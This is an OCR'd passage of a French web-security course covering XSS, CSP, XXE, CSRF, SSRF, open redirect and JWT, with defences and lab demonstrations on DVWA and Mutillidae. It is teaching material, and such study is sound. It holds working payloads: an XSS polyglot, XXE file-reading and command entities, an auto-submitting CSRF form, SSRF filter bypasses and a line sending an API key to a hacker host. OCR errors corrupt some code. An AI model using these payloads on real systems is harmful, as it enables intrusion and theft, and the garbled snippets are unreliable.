%0D%0OA%0d%0a//</stYle/</titlLe/</teXtarEa/</scRipt/--!>\x3csVg/
<sVg/oNloAd=alert('XSS')//>\x3e

Version que vous pouvez copier :

javasCript:/*-I*"I*\' ' [*"[**](/*
*lonerror=alert("XSS") )//%0D%0A%0d%0al//</stYle/</titLe/</teXtarEa/</scRipt/-
-1>\x3csVg/<sVg/oNloAd=alert("XSS")//>\x3e

L’injection polyglotte ci-dessus permet de contourner les filtres 1 & 3 de ce chapitre

ainsi que d’échapper a I’attribut src de la balise <img> de la page précédente.
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XSS : contre-mesures (cing mesures de protection)

120:

ENCODAGE
L’encodage consiste a échapper les caractéres spéciaux pour que I’entrée soit

interprétée comme une donnée et pas comme du code.

Les fonctions suivantes pourront étre utilisées htmispecialchars(), htmlentities()

et strip_tags(). La méthode a privilégier est htmispecialchars().

Encodage possible pour PHTML :

Encodage possible pour le JS :

devient &gt; \n devient &#x0A;
devient &#x0D;

devient &#x5C;

devient &lt;
devient &amp;
devient &quot;

devient &#039 ;

devient &quot;

devient &#039 ;

VALIDATION

La validation est assurée par des filtres qui vérifient la validité des entrées. On
pourra utiliser : les expressions réguliéres, les fonctions is_int() - is_real() -
is_numeric() - is_scalar() - is_string(), les filtres FILTER_VALIDATE_*
(FILTER_VALIDATE_EMAIL, FILTER_VALIDATE_URL, FILTER_VALIDATE_IP, ...)

Flag HTTPONLY
Le flag HTTPOnly interdit aux scripts contenus dans une page web d’accéder au

cookie de session.

En-téte CSP
L’en-téte Content-Security-Policy est traité dans un chapitre a part. Le vieil en-téte

X-XSS-Protection est, lui, obsoléte et ne doit plus étre utilisé aujourd’hui !

WAF
Le pare-feu d’application web (WAF = Web Application Firewall) protége dans une

certaines mesure contre les attaques XSS. Il existe des techniques de bypass...
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Détail de la contre-mesure en PHP

Un nettoyage du code est conseillé pour combattre les attaques XSS. On utilisera les

fonctions ci-dessous :

$var = $_POST['message'] ;
$var = trim($var) ;
$var = stripslashes($var) ;

$var = htmlispecialchars($var) ;

trim()

Retourne la chaine, aprés avoir supprimé les caractéres invisibles en début et fin de

chaine. Sans second parameétre, trim() supprimera les caractéres suivants :

°« " ASCII 32 (0x20) un espace ordinaire.

o M\t" ASCII 9 (0x09) une tabulation.

e "\n" ASCII 10 (0x0A) une nouvelle ligne (line feed).

o "\I" ASCII 13 (0x0D) un retour chariot (carriage return).
e "O" ASCII 0 (0x00) le caractére NUL.

e "\xOB" ASCII 11 (0x0B) une tabulation verticale.

stripslashes()

Supprime les antislashs d'une chaine.

htmispecialchars()

Contrairement a htmlentities() qui convertit tous les caractéres éligibles en entités
HTML (ce qui est ici, par exemple, inutile avec les caractéres accentués),

htmlispecialchars() ne convertit que les caractéres suivants :

e & devient &amp;

e " devient &quot;

e ' devient &#039; (sous certaines conditions)
e < devient &lt;

e > devient &gt;

On peut également utiliser strip_tags() qui supprime les balises HTML et PHP !

2989




Introduction a la cybersécurité / Le monde du web

122:

XSS : protection avec I'en-téte CSP

Imaginons une page web contenant deux scripts JavaScript : un dans le corps de la

page et un deuxiéme dans un fichier .js externe.

Voyons comment la page va réagir avec trois en-tétes CSP (Content-Security-Policy) :

CAS 1 : seul le script contenu dans la page sera exécuté !
<?php
header("Content-Security-Policy: script-src 'unsafe-inline™);
>

<!IDOCTYPE html>

CAS 2 : seul le script externe (fichier .js) sera exécuté !

<?php Bonne protection
header("Content-Security-Policy: script-src 'self"); contre XSS : les
scripts  injectes

>
dans la page ne
<IDOCTYPE html> seront pas

exécutés !

CAS 3 : les deux scripts seront exécutés !
<?php
header("Content-Security-Policy: script-src 'self' 'unsafe-inline');
>

<!DOCTYPE html>

localhost indique
JEXECUTE UN SCRIPT INLINE !

localhost indique
JEXECUTE UN SCRIPT DANS UN FICHIER ,js !
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L’en-téte CSP est envoyé a chaque réponse du serveur puis a chaque requéte du client.
CSP définit une liste blanche des sites de confiance pour I'exécution ou I'affichage du
CSS (style-src), du JavaScript (script-src), des images (img-src), des polices de
caracteéres (font-src), ... Les directives sont séparées par un point-virgule.

Il existe une directive générale, default-src, qui remplace toutes les directives se

terminant par -src.

Exemples

Pour autoriser les scripts de tous les

. script-src http://*.mon-site.net
sous-domaines

Pour autoriser les scripts de tous les

sites en HTTPS script-src https://

Pour interdire toutes les vidéos quelle

. . . media-src 'none’
que soit leur origine

Pour autoriser tous ce qui provient du
domaine d’ou provient la page (scripts, default-src 'self’
images, css, vidéos, polices, ...)

Pour autoriser les scripts contenus

A script-src 'unsafe-inline’
dans la page elle-méme
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XSS : protection avec I'en-téte CSP et I'attribut nonce

L’attribut nonce de la balise <script> permet d’empécher I’exécution d’un script injecté
dans une page. Le nonce est une valeur aléatoire unique, différente a chaque
chargement de la page, générée par le serveur qui sera jointe a la balise <script>
légitime que vous souhaitez voir exécutée. Si une personne malveillante injecte un
script malicieux dans votre page, ce dernier ne contiendra pas le nonce et ne sera donc

pas exécuté ! Absolument génial !

L’avantage de cette technique est que I’on pourra insérer des scripts dans la page web

sans pour antant devoir utiliser la dangereuse directive CSP "unsafe-inline".

<?php
$nonce = shal(random_int(0,999999));
header("Content-Security-Policy: script-src 'nonce-$nonce™);
>
<IDOCTYPE htmli>

Tout script inline
<html lang="fr">

qui ne contient
<head> pas le nonce

dans la balise

<meta charset="UTF-8"> .
<script> ne sera

<title>Nonce</title> pas exécuté !

</head>
<body>
<script nonce=<?php echo $nonce ?>>
window.onload = my_script();
function my_script() {
alert("Ceci est un script inline avec un nonce : <?php echo $nonce ?>>");
}
</script>
</body>

</html>

localhost indique

Ceci est un script inline avec un nonce:
6fb3cd416e10e76bad13cd5b5deaal1a4ff7c6039 <
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Vulnérabilité XXE (xML External Entities)

External = "en dehors du DTD" (DTD = Document Type Definition)

Les attaques XXE visent les parseurs XML. Il s’agit d’une vulnérabilité qui autorise un

attaquant a interférer avec une application web qui traite des données XML.

Principales actions réalisables grace aux attaques XXE

=> File grabbing
= Exécution de commandes
= Attaque SSRF (dans une attaque SSRF classique, I'attaquant peut forcer un

serveur web a faire une requéte a un serveur interne auquel il n’a pas directement

accés a cause du firewall.
) XML est un langage d’encodage

=>» Déni de service (DoS) au niveau applicatif des données lisible par les

humains et par les ordinateurs.

Exemples d’attaques XXE

<?xml version="1.0" encoding="UTF-8"?>

<IDOCTYPE foo [<IENTITY xxe SYSTEM "file:///etc/passwd" >]> gran”being
<stock><book>&xxe;</book></stock>

<?xml version="1.0" encoding="UTF-8"?>

)
<IDOCTYPE foo [<!ENTITY xxe SYSTEM "http://intranet.bank.com/admin" >]> SSRF
attack
<stock><book>&xxe;</book></stock>

<?xml version="1.0" encoding="UTF-8"?> Le module PHP

<IDOCTYPE foo [<!ENTITY xxe SYSTEM "expect://ls" >]> expect doit étre
chargé sur le

serveur !

—
Command

injection

<creds> <user>' &xxe; " </user> <pass>secret </pass> </creds>

Contre-mesures

Si I’application web n’en a pas I'utilité, il est conseillé de désactiver la résolution
d’entités externes ou de remplacer XML par JSON pour structurer les données. Il
faut aussi utiliser SOAP 1.2 ou supérieur, valider et filtrer les entrées et enfin
effectuer une révision du code (code review) manuellement ou via un outil SAST

(Static Application Security Testing).
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Exemple d’attaque XXE basique avec Mutillidae

| Please Enter XML to Validate |
Example: <somexml><message>Hello World</message></somexml|>

<?xml version="1.0" gncoding="UTF-8" 2>

<message>Bonjour !</message>

Tapons dans le validateur :

XML ' <?xml version="1.0" encoding="UTF-8" ?>

<message>Bonjour !</message>

# ( validate xmL |

— XML Submitted

<?xml version="1.0" encoding="UTF-8" 2> <message>Bonjour !</message> ‘

Le message s’affiche a I'écran :

— Text Content Parsed From XML

# ‘ Bonjour ! ‘

Introduisons maintenant le code XML suivant :

<?xml version="1.0" encoding="UTF-8" ?>
<IDOCTYPE test [
<IENTITY file SYSTEM "c:/secret.txt">

1>

<message>&file;</message>

Répétons I'opération ci-dessus avec ce nouveau code XML. Je place volontairement, pour la

démonstration, un fichier nommeé secret.txt dans le répertoire c:\ de Windows.
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[ Please Enter XML to Validate ]
Example: <somexml=<message>Hello World</message></somexml=

<?xml version="1.0" gngoding="UTF-8" 2>
<!DOCTXRE test [

<!EMTITY file SYSIEM "c:/secret.txt">
1>
XML <message>&file;</message>

127:

A

[ validate xmL |

XML Submitted

<?xml version="1.0" encoding="UTF-8" 2> <!DOCTYPE test [ <!ENTITY file SYSTEM
"c:/secret.txt"> ]> <message>&file;</message>

Text Content Parsed From XML
# admin:mon_mot_de_passe_secret robert:azerty123

!

Le contenu du fichiet secret.txt s’affiche a I’écran (les mots de passe de I’admin et de

Résultat :

I'utilisateur robert). La vulnérabilité XXE m’a permis d’accéder a un fichier normalement
inaccessible aux utilisateurs de I’application. Vous noterez la dangerosité de cette

attaque puisque le fichier cible se situe bien en dehors du webroot (racine du serveur).
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Dans un cas réel, il faudra souvent pour réaliser une attaque XXE intercepter une

requéte avec le proxy Burp :

Pretty Raw Hex

POST /product/stock HTTP/1l.1
Host: Dad700&6e03dfSbB2cZeea76a00bd00c7.web-security-academy.net
Cookie: session=wBMXFTLHOvnfWYrW3NEzevINQOnX1MQF

Accept: */*
Accept-Language: fr,fr-FR;g=0.8,en-US;g=0.5,en;qg=0.3
Accept-Encoding: gzip, deflate

W dm Wb WM

[

Content-Type: application/xml

Content-Length: 107

Origin: https://0ad7006e03dfShB2c2eea76a0ls .ouc7.web-security-academy.net
Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Dnt: 1

Sec-Gpc: 1

Te: trailers

Connection: close

e e e e N N e =
QWD TdO UL WN RO

<?xml version="1.0" encoding="UTF-8"?7>
<stockCheck>
<product Id>
il
</product Id>
<storeld>
1
</storeld>
</stockCheck>

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4; rv:108.0) Gecko/20100101 Firefox/10B8.0

Referer: https://Dad?DDGeDSdebBicZeea76 %7.web-security-academy.net/product?productId=1

Nous observons :

= En (1) : le contenu de la requéte est bien du XML

= En (2) : en fin de requéte se trouve le code XML

Il suffira alors d’envoyer cette requéte dans le repeater de Burp. Nous pourrons alors

modifier le code XML de la requéte comme nous I'avons vu précédemment afin

d’exploiter la vulnérabilité XXE :

20 |<?xml version="1.0" encoding="UTF-8"?7>
21 <!DOCTYPE test [ <'ENTITY file SYSTEM "/etc/passwd"> ]>
22
23 <stockCheck>
<productId>
&file;
</product Id>
<storeld>
1
</storeld>
</stockCheck>
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Vulnérabilité web CSRF (Cross-Site Request Forgery)

Cette vulnérabilité (notée CSRF ou XSRF) est aussi appelée "sea-surf attack".
Imaginons un site sur lequel les gens peuvent acheter des articles grace a un compte
pré-approvisionné. Lorsqu’un client est connecté, un lien comme celui indiqué ici
permet de réaliser un achat : http://site-vendeur.com/buy/item245879. Le compte est
immédiatement débité en conséquence. Un hacker vous envoie le lien ci-dessus dans
un courriel (éventuellement masqué grace a un raccourcisseur d’'URL). Si vous étes
connecté au site d’achat au méme moment, I'achat sera finalisé sans votre

consentement et vous recevrez un article que vous n’avez jamais commandé.

Schématiquement

Le serveur du site
accepte la requéte qui
lui parait lIégitime et
exécute l'action en
question.

Le hacker élabore
une requéte qui
effectue une action

Les actions qui peuvent
étre exécutées a l'insu
de la victime sont

quelconque sur un :
site vulnérable. diverses : achat sur un
Hacker site de vente, transfert

o bancaire,srl:eweb 0
téléchargement d'un

ebook ou d'un

Programme
préalablement acquis
Le hacker inclut ensuite par la victime, action
sa requéte dans un administrative sur le site La victime, qui est bien
hyperlien et I'envoie a sa si la victime est un connectée au site, clique

victime en esperant administrateur, ...

qu'elle soit connectée au

site en question.
Victime

sur le lien en apparence
anodin, ce qui envoie la
requéte au serveur a son

insu.

Prévention

Pour lutter contre cette vulnérabilité, il suffit de cacher dans les champs du formulaire

d’achat un champ caché contenant un jeton aléatoire :
<form> ...<input type="hidden" name="token" value="et50y23gtr8yu87"> ... </form>

Le jeton aléatoire (ici : etSoy23gtr8yu87) sera stocké dans une variable de session et
sera envoyé lors de tout achat réalisé par le client. Le hacker ne pouvant pas se procurer

ce jeton (token) ne pourra pas envoyer de requéte a la place du client. Attention, il ne
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faut pas que I'application soit en plus victime d’une faille XSS, sinon le jeton ne sert

plus arien!
Pour générer le jeton aléatoire en PHP, on peut utiliser le code suivant :
<?php
session_start();
$_SESSION["jeton"] = bin2hex(random_bytes(16)) ;

?>

Il faudra ensuite placer ce jeton dans un champ caché du formulaire (requéte POST) ou
dans 'URL d’un lien (requéte GET) :

<input type="hidden" name="token" value="<?= $_SESSION["token"] ?>">
ou

<a href="action.php?token=<?=$_SESSION["token"] ?>"> Exécuter </a>

-
Remarque :

En PHP, <?php echo $jeton ?> peut aussi s’écrire, de fagon plus concise, <?= $jeton ?>
-

3 T . . .
L’utilisation des jetons anti-CSRF dans ZAP
Il suffit de cliquer sur Options / Jetons anti-CSRF :
(\
S R «loas ant-C SR Ao
amcnage Ces jelons sonl raités comme jelons anli-CERF.
AlAX Spider Alheurs sctuslle, seuls 13 Jetons de paramelraFORM sont pris &n chargs
Medes Tous Ias Noms e jeton sont raids comma NGANSMIRS 3 13 G556
281 Sivous youtez ou modifes des noms de jeton, alors il eslnécessaire de revsiler les pages
Applications conlenant 022 jetons afin quils solent reconnus.
Adomaisaton Adil Jelon L Noutear.
Base de denndes __est_magic
CallH RequestanhcacnToken
Cantificat clant
Cartificats SSL aynamiquas Adiver Toul
Cilanar .
X Dézachver Tout
Conhgurahon de ragle X 1
Connesan anoncsrf
EncodeDecode W anticsr!
Eslenzons v authentcy_token
Fillres Globaus TAlerte 7 CSRF
Form Handler (adé-on) csr_taken
Global Exclude URL csrmicdewaratoken
GraphoL Hemeve Without Contirmation
Ganérataur 4s brur
HUD
Jatonz anh-CERF
i"""‘ 7] Usa params 35 AnH-CSRF tokan I its name contain ona of Ma 1okans (pamal matching)
angue

Netaerk
QAST
Aennsen tasnkn

Rermellie sux défauts de fabicus Annuler (8
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Exploiter une vulnérabilité CSRF
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On peut exploiter une faille CSRF en soumettant un fichier HTML a une victime en lui

suggérant de cliquer dessus par des techniques d’ingénierie sociale. Ceci a cependant

peu de chance d’aboutir : il faut vraiment étre idiot pour double-cliquer sur un fichier

dont on n’est pas sur de I'origine.

Une méthode beaucoup plus efficace est de placer le fichier HTML suspect sur un site

d’hébergement gratuit, d’utiliser un raccourcisseur d’URL pour masquer ce fichier puis

de soumettre le lien raccourci a la victime potentielle. Si cette derniére est connectée

au site possédant la faille CSRF, une action sera exécutée a I'insu, bien souvent, de la

victime. On se méfie moins d’un lien que d’un fichier...

Exer¢cons-nous avec le site DVWA (Metasploitable) et sa page csrf qui permet de

changer le mot de passe de la personne connectée :

Cc @

gle () Qwant

zSecurity

Home |

® =0 192.168.56.102/dvwalindex.php B

- @ W N o e »

VPN By zSecurity @ zSecurity YouTube [BjzSecurityFB ¥ zSecurity Twitter [ Zaid's Linkedin

Welcome to Damn Vulnerable Web App!

Instructions Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals
are to be an aid for security professionals to test their skills and tools in a legal environment, help web
Setup developers better understand the processes of securing web i and aid teachers/students to
teach/learn web application security in a class room environment.
Brute Force WARNING!
.
| Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting providers public html folder or
CSRF any internet facing web server as it will be compromised. We recommend downloading and installing
onto a local machine inside your LAN which is used solely for testing.
File Inclusion = =
Disclaimer
SQL Injection
SQL Injection (Blind) We do not take responsibility for the way in which any one uses this application. We have made the purposes of
the application clear and it should not be used maliciously. We have given warnings and taken measures to
Upload prevent users from installing DVWA on to live web servers. If your web server is compromised via an installation
of DVWA it is not our responsibility it is the responsibility of the person/s who uploaded and installed it
XSS reflected G T " ti
eneral Instructions
XSS stored
The help button allows you to view hits/tips for each vulnerability and for each security level on their respective
DVWA Security page.
PHP Info
About
You have logged in as ‘admin’
Logout

Username: admin
Security Level: medium
PHPIDS: disabled

DVWA Security #»

Placons le niveau de
sécurité a LOW

Script Security

Security Level is currently medium.

|@®@@|

!

You can set the security level to low, medium or high.

> ’ low v/ sSubmit |

The security level changes the vulnerability level of DVWA.
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Voici le formulaire de changement de mot de passe sur la page csrf de DVWA :

<h3>Change your admin password:</h3>

<br>

<form action="#" method="GET"> New password:<br>

<input type="password" AUTOCOMPLETE="off" name="password new"><br>
Confirm new password: <br>

<input type="password" AUTOCOMPLETE="off" name="password conf">
<br>

<input type="submit" value="Change" name="Change">

</form>

Changeons le mot de passe :

® =0 £ 192.168.56.102/dvwa/vulnerabilities/csrf/2password_new=333&password_conf=333&Change=Change# 150 % 1
y VPN By zSecurity @ zSecurity YouTube [§3zSecurityFB W zSecurity Twitter [ Zaid's Linkedin "\ KaliDocs & Exploit-DB [l MSFU

e | Vulnerability: Cross Site Request Forgery (CSRF)
instructions ‘ Change your admin password:
Setup ‘
New password:
Brute Force ‘
Command Execution ‘ Confirm new password:
\ ' -
File Inclusion | | GEREE
SQL Injection ‘ Password Changed

SQL Injection (Blind) |

Voici la requéte GET soumise au serveur via ’URL :

132:

| @ w0 & 192.168.56.102/dvwa/vulnerabilities/csrf/?password_new=333&password_conf=333&Change=Change#

On peut voir les paramétres qui sont envoyés au serveur :

1. password_new
2. password_conf
3. Change

Il va donc étre possible de créer un fichier d’extension HTML qui va pouvoir exploiter la

faille CSRF de cette page vulnérable.
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Aprés 20 minutes de test, par la méthode d’essai-erreur, j’ai obtenu le fichier suivant

(csrf.html) qui va me permettre I’exploitation tant attendue :

csrf.html &=

<form action="http://192.168.56.102/dvwal/vulnerabilities/csrf/" method="GET">
<input type="hidden" autocomplete="off" name="password_new" value="999"><br>
<input type="hidden" autocomplete="off" name="password_conf" value="999"><br>

<input id="btn" type="submit" name="Change">

</form>

<script> window.onload = function(){ La machine virtuelle
document.getElementByld(‘btn").click();}; Metasploitable est située a
<Iscript> 'adresse 192.168.56.102

Je place le fichier HTML ci-dessus sur un hébergement, je soumets le lien a la victime.

Au moment ou celle-ci clique sur le lien malveillant, I’action est bien exécutée :

Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

New password:
[ ] Le mot de passe est bien
Cahfitinew Hasswntt modifié : il est maintenant

Change égal a 999 !

Password Changed

Dans des cas réels, bien souvent, rien ne s’affichera a I’écran et I’action sera exécutée

a I'insu de la personne concernée ...

Bien évidemment, vous allez me poser la question a 1 euro : pourquoi se donner autant

de mal alors qu’il suffisait de donner a la victime le lien suivant (a raccourcir) :

<IP>/dvwalvulnerabilities/csrf/?password_new=999&password_conf=999&Change=Change
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La réponse est simple : le lien en question ne fonctionnerait qu’avec un formulaire

soumis par la méthode GET alors que la méthode que je vous ai décrite fonctionnerait

également pour un formulaire soumis par la méthode POST !

Il suffirait alors de modifier la premiére ligne du fichier csrf.html :

<form action="http://192.168.56.102/dvwalvulnerabilities/csrf/" method="GET">

devenant :

<form action="http://192.168.56.102/dvwal/vulnerabilities/csrf/" method="POST">

Réussite de cette exploitation

>

v v v Y

L’attaque CSREF profite du fait qu’une application web ne peut pas faire la différence entre
une requéte émanant d’un utilisateur et une requéte émanant d’un utilisateur sans son
consentement.

Les actions malicieuses possibles sont :

Soumettre ou supprimer un enregistrement
Faire un achat

Effectuer une transaction

Changer un mot de passe

Envoyer un message

Contrairement a I'attaque XSS qui exploite la confiance qu’un utilisateur a pour un site
web, 'attaque CSRF exploite la confiance qu’un site web a pour un utilisateur connecté

et authentifié.
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La vulnérabilité web SSRF

Alors qu’une attaque CSRF (Cross Side Request Forgery) concerne la requéte que le
client fait au serveur web consulté, I'attaque SSRF (Server Side Request Forgery) se

rapporte a la requéte que le serveur web fait a un autre serveur :
ATTAQUE ATTAQUE
CSRF SSRF

REQUETE CLIENT> D D I REQUETE SERVEUR U D

0l|0 Ol||0
CLIENT SERVEUR SERVEUR
WEB INTERNE

X ———

Ce serveur interne n’est pas directement accessible au client, mais le sera si le serveur

web posséde une faille de type SSRF.
Avec l'attaque SSRF :

= On va donc pouvoir demander au serveur web de faire une requéte forgée a un
autre serveur.
= On va également pouvoir simplement demander au serveur web de faire une
requéte a lui-méme (localhost), ce qui permettra de rendre cette requéte lIégitime,
méme si elle est normalement interdite au client.
Imaginons qu’une requéte vers un serveur web contienne un parameétre (en bas de la

requéte HTTP) comme celui-ci :
quantity=http%3A%2F%2Fsub1.myshop.com%3A8181%2Fitem%2Fget%3Fid%3D51
Ce qui correspond, aprés décodage URL, a :
quantity=http://sub1.myshop.com:8181/item/get?id=51

On voit de suite que le serveur web va effectuer une requéte vers un autre serveur.
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Une attaque SSRF élémentaire consiste a remplacer cette URL par une autre (a I'aide

de l'intruder du proxy intercepteur Burp) :
quantity=http://localhost/
Soit, une fois encodé :
quantity=http%3A%2F%2Flocalhost%2F

Nous cliquons maintenant sur SEND. Si le site web consulté s’affiche dans lui-méme,

I’attaque SSRF est réussie. Nous tenons notre preuve de concept (PoC).

Imaginons maintenant que la page d’administration du site se réalise a partir du

répertoire /admin auquel le client n’a aucun accés.

Nous pouvons tenter d’y avoir malgré tout accés en forgant le serveur web a effectuer
lui-méme la requéte vers ce répertoire. Cette demande paraitra légitime au serveur

puisqu’elle émane de I’héte local.

Nous modifions alors la requéte dans I'intruder de Burp comme suit :
quantity=http://localhost/admin/

Soit, une fois encodé :

quantity=http%3A%2F%2Flocalhost%2Fadmin%2F

Nous cliquons a nouveau sur SEND dans P’intruder. Si le serveur est vulnérable et nous
avons vu précédemment qu’il I’était, nous aurons accés a la page d’administration du
site web, ce qui est passablement dangereux. Pour ensuite réaliser une action sur cette
page d’administration, il faudra copier le lien de cette action et a nouveau modifier la
requéte dans I'intruder de burp en y introduisant ce lien et en veillant a remplacer le

domaine par localhost.
Si le lien est par exemple :
http://myshop.com/admin/add.php?new_user=robert
On tapera:
quantity=http://myshop.com/admin/add.php?new_user=robert
quantity=http://localhost/admin/add.php?new_user=robert
quantity=http%3A%2F %2Flocalhost%2Fadmin%2Fadd.php%3Fnew_user%3Drobert

... et un nouvel utilisateur sera ajouté dans la base de données, a I'insu de tous !
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Trois exemples classiques de SSRF

cybercriminel webshop.com api.webshop.com

\"4 \"4 \"4

Requéte attendue par le serveur :
http://lwebshop.com/stock?url=http://api.webshop.com/api/stock/item?id=12345
L’attaquant, pour recevoir des données utilisateur tapera :

http://lwebshop.com/stock?url=http://api.webshop.com/api/user

Requéte attendue par le serveur :
http://webshop.com/stock?url=http://api.webshop.com/api/stock/item?id=12345

L’attaquant, pour recevoir la clé APl envoyée par le site (dans les headers de la

requéte HTTP) tapera :

http://webshop.com/stock?url=http://hacker.net

Requéte attendue par le serveur :
http://lwebshop.com/stock?url=/item?id=12345

L’attaquant, pour recevoir des données utilisateur devra ici utiliser le directory
traversal pour atteindre /api/user :

http://lwebshop.com/stock?url=/../user

(oK)
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SSRF : contournement de certains filtres

Soit un filtre (liste noire = blacklist) qui interdit certains mots comme admin,

localhost, controlpanel, ...

= il suffit parfois de simplement de réécrire le mot autrement. Pour

localhost, on aura le choix entre :

» locAlHosT : on mélange les minuscules et majuscules
> 127.0.0.1 : adresse IP du serveur local

> 127.1[0127.0.1 : les zéros sont parfois facultatifs

> 127.0.0.3 [ 127.0.1.3

> 0x7F000001 : écriture hexadécimale

> 2130706433 : écriture entiére en base 10

> 017700000001 : écriture entiére en base 8

PARIOLT XK =127 x 256”3 + 0 x 256”2 + 0 x 256 + 1

017700000001 = 2130706433 converti en octal

2 On peut encore réaliser un encodage URL du mot localhost :
%6¢%61%63%61%6¢%68%6f%73%74. Voir méme un double encodage !

Il ne faut juste parfois encoder ou double encoder qu’une seule lettre.

Soit un filtre (liste blanche = whitelist) qui n’autorise qu’un domaine
spécifique, par exemple serveur-permis.net. Ce filtre est plus

problématique que le premier.

=> il suffit parfois, pour contourner le filtre, de réécrire FTURL comme suit :
http://localhosté@serveur-permis.net/

sz: Chttp%3A%2F%2FIocaIhost%23@serveur-permis.net%2F

ges C http%3A%2F %2Flocalhost%25%32%33@serveur-permis.net%:2F

Le serveur pensera que I'URL est permise car elle se termine par
serveur-permis.net. Cependant seule la partie qui précéde I’ancre sera
prise en compte, soit http://localhost ! Dans une URL, I’ancre (caractére
#) indique au navigateur a quelle partie de la page doit débuter
I’affichage... Le caractére @ permet de passer des informations dans

PURL (comme un username).

= On peut aussi, si vous possédez le domaine my-dom, et que le domaine
attendu dans la liste blanche est expected-dom, utiliser un sous-

domaine : https://expected-dom.my-dom ...

Un labo pour vous exercer a réaliser une attaque SSRF élémentaire :
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
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La vulnérabilité de redirection ouverte (Open Redirect)

Il est nécessaire de bien comprendre la différence entre les attaques SSRF (Server Side

Request Forgery) et les attaques de redirection ouverte.

Dans une attaque SSRF, on manipule une requéte client dans le but de faire opérer au

serveur web une requéte vers un autre serveur :

ATTAQUE DE TYPE SSRF

REQUETE CLIENT> D ” REQUETE SERVEUR> D D

Ol |0 0ol |0
CLIENT SERVEUR AUTRE
WEB SERVEUR

Dans une attaque de redirection ouverte, une requéte vers un serveur web est
manipulée dans le but d’obtenir une réponse 3xx (réponse de redirection) qui forcera le

navigateur a effectuer une deuxiéme requéte vers l'autre serveur :

ATTAQUE DE REDIRECTION OUVERTE

4
<1:: ,equétec.ient> I:I I] —X—> D I:I

2 : réponse 3xx

O||O Ol |0
CLIENT SERVEUR AUTRE
WEB SERVEUR

3 : requéte client g

L’attaque de redirection ouverte n’est pas dangereuse en soi mais peut permettre une attaque

par phishing.
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Exemple d’attaque SSRF

Requéte client (requéte POST) : [ on pourrait avoir une requéte GET ]

POST /redirect.php HTTP/1.1

................................ ] ) EN-TETES

url=https://evil-site.net :I —) PARAMETRE

Requéte serveur (requéte GET) :

GET /HTTP/1.1

Host: evil-site.net

................................ ) EN-TETES

) PAS DE PARAMETRE

Exemple d’attaque de redirection ouverte

(1) Requéte client (requéte GET) : [ on pourrait avoir une requéte POST ]

GET /redirect.php?url=https://evil-site.net HTTP/1.1

(2) Réponse serveur :

HTTP/1.1 302 Found :| —) REDIRECTION
Location: https://evil-site.net _—_l l ENTETES

(3) Requéte client (requéte GET) :

GET /HTTP/1.1

Host: evil-site.net .
) EN-TETES
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Introduction au JSSON Web Token (JWT)

Le jeton JWT permet d’assurer l'intégrité et I'authenticité des données lors des
échanges informatiques. Contrairement au cookie PHPSESSID utilisé par PHP, les
jetons JWT ne sont pas stockés coté serveur. Cela permet, par exemple, de
s’authentifier plus facilement sur plusieurs applications différentes en méme temps. Le

jeton sera transmis au serveur a chaque requéte du client.

Exemple de requéte capturée par Burp :

1 GET /my-account HTTP/Ll.1l
2 Host: 0a2a003e203d33a90clf58a9400c2005h. web-security—acadeny.net
3|Cookie: session=
| eyJraWQiOiJiZTBhYTFhMil1IMTAzZLTQINGUEYWYyOC LkODkwOWZhZTQ3MDYiLCJIJhbGeiOidSUzIINiIJY. eydpe3MiOiJwh3J0c3dpZidleilsInNlYi

IE€IndpZW51cilsImV4cCIEMTY3MIQZ MDASMXO . VheXOkOxuB ldgJF8qUCUTZJyieHEScVOUXrGZRcOLEEP18IJhxULPt_mpGJEQr-0SCLHgEoGIRCzT
tdgxb3gqxWnVNHMe0-IMwfJe-1tDglzf8 r esEOmSrceEalHMoWOLOMKROLFEEASSHVaxaOYPTcSk39QFEy-0PE72-av9lybeNzL7sV229zk7JyBsc
ZfELSHKfHRbOELSVr095nsHRDio4F-1 9AY4qB3FUOOVVp LPAHV_aFPbmZvEBXJ iMjuMBMWAFGMp zjdYNZ_r4sjHxJ7LgGJVEdKHOJvhSBMd sEOB
ixYfe0l4wHegYhmDVEAz4£ds9G_ SgzQTXvy
4 Cache-LONtrol: nar-ags=-u
5 Sec-Ch-Ua: "Not?A Brand";v="8", "Chromium";v="108"
: Sec-Ch-Ua-Mobile: 20
Sec-Ch-Ua-Platform: "Windows"
Z Upgrade-Insecure-Recquests: 1
S User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.3& (KHTML, like Gecko) Chrome/l108.0.5359.125
Safari/537.36
10 Accept:
text/html, application/xhtml+xml, application/xml;¢=0.9, image/avif, image/webp, image/apng, */ *;q=0.8,application/signed
—exchange;v=b3;¢=0.9
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: 2?1
14 Sec-Fetch-Dest: document
15 Referer: https://0aZa003e03d33a%90cl£58a9400c2005b. web-security-acadenmy.net/login
16 Accept-Encoding: gzip, deflate
17 Accept-Language: fr-FR,fr;q=0.9,en-U3;q=0.8,en;q=0.7
12 Connection: close

Le cookie en rouge ci-dessus est un jeton JWT, qui est toujours constitué de trois

parties séparées par un point :

eyJraWQiOiJiZTBhYTFhMi1IMTAzLTQ1NGUtYWYyOC1kODkwOWZhZTQ3MDYiLCJhbGciOiJSU
zI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dicilsinN1Yil6indpZWS5IcilsimV4cCI6MTY3MjQ2MDA5MX0.Vh
cXOkOxuB1JgJF8qUCUIZJyi6H6ScVIUXrGZRcO16fPI8IJhxULPt_mpGJ6Qr-
0SCLHgEoGjRCzTtdgxb3gxWnVNHMe0-IMwfJe-
1tDqlzf8_r_esEOm5rqeEa1HMoWO10MKROfF6Ed85HqVaxaOYPTcSk39QFEy-0Pf72-
aV9lybeNzL7sV229zk7JyBscZfELSHkfHRbOEb5VrO95nsHRDio4F-
10J29AY4qB3FU00vVp1PAHV_aFPbmZv8XJiMjuMBMWdFGMp_zjdYN2_r4sjHxJ7LgGJV8dKH9J
vb8BMd_s60BixYfe014wHegYhmDV6dz4fds9G_5gzQTXvg

La premiére partie du jeton, I’en-téte (qui décrit le jeton), est encodée en Base64 :

